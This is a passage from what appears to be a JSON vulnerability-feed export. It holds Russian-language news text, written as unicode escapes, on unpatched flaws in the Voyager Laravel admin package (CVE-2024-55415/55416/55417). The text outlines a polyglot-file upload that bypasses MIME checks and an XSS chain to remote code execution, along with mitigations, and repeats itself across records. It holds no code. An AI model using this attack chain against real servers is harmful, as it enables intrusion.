\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0432\u0432\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c JavaScript \u0432\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f.\n\n\u0415\u0441\u043b\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0435\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0442 \u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044e \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nCVE-2024-55415 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u044f\u043c\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043b\u0443\u0436\u0431, \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438\u043b\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Voyager \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00abbrowse_media\u00bb \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u043e\u043b\u0435\u0439 (RBAC).\n\n\u041c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f PHP-\u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430 MIME \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0433\u043e\u044f\u0437\u044b\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0438\u043c.\n\n\u0415\u0441\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0448\u0430\u044e\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0442\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Voyager \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u043b\u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u0430\u043d\u0435\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Laravel.", "creation_timestamp": "2025-01-30T16:00:07.000000Z"}, {"uuid": "c91b3fa0-dad9-4b0f-9486-16f73419a5e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "seen", "source": "https://t.me/true_secator/6678", "content": "\u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PHP-\u043f\u0430\u043a\u0435\u0442\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c Voyager \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 Laravel \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c RCE-\u0430\u0442\u0430\u043a\u0430\u043c \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Voyager \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0432\u0435\u0431-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435, \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u044b, \u0432\u043d\u0435\u0448\u0442\u0430\u0442\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438, \u0432 \u0446\u0435\u043b\u043e\u043c, \u043c\u0430\u043b\u044b\u0435 \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Laravel \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u0431\u0430\u0437\u0435 CMS.\n\n\u041f\u0440\u043e\u0435\u043a\u0442\u00a0Voyager\u00a0\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e: \u0444\u043e\u0440\u043a\u043d\u0443\u0442 2700 \u0440\u0430\u0437 \u043d\u0430 GitHub, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0431\u043e\u043b\u0435\u0435 11 800 \u0437\u0432\u0435\u0437\u0434 \u0438 \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SonarSource, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Voyager \u043f\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u044b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0435\u0449\u0435 11 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u043f\u043e \u0438\u0441\u0442\u0435\u0447\u0435\u043d\u0438\u0438 90-\u0434\u043d\u0435\u0432\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n- CVE-2024-55417: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u00ab/admin/media/upload\u00bb\n- CVE-2024-55416: \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u00ab/admin/compass\u00bb\n- CVE-2024-55415: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0443\u0442\u0435\u0447\u043a\u0438 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043c\u0443\u043b\u044c\u0442\u0438\u043c\u0435\u0434\u0438\u0430 Voyager, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043e\u0431\u0445\u043e\u0434\u044f\u0449\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0442\u0438\u043f\u0430 MIME, \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u00a0\u0444\u0430\u0439\u043b-\u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u0438\u0434\u0435\u043e, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 PHP-\u043a\u043e\u0434.\n\n\u0421\u0435\u0440\u0432\u0435\u0440 \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u043a\u0430\u043a PHP-\u0441\u043a\u0440\u0438\u043f\u0442, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 CVE-2024-55416. \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 /admin/compass \u0432 Voyager \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0447\u0438\u0449\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0432\u0432\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c JavaScript \u0432\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f.\n\n\u0415\u0441\u043b\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0435\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0442 \u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044e \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nCVE-2024-55415 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u044f\u043c\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043b\u0443\u0436\u0431, \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438\u043b\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Voyager \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00abbrowse_media\u00bb \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u043e\u043b\u0435\u0439 (RBAC).\n\n\u041c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f PHP-\u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430 MIME \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0433\u043e\u044f\u0437\u044b\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0438\u043c.\n\n\u0415\u0441\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0448\u0430\u044e\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0442\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Voyager \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u043b\u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u0430\u043d\u0435\u043b\u044c 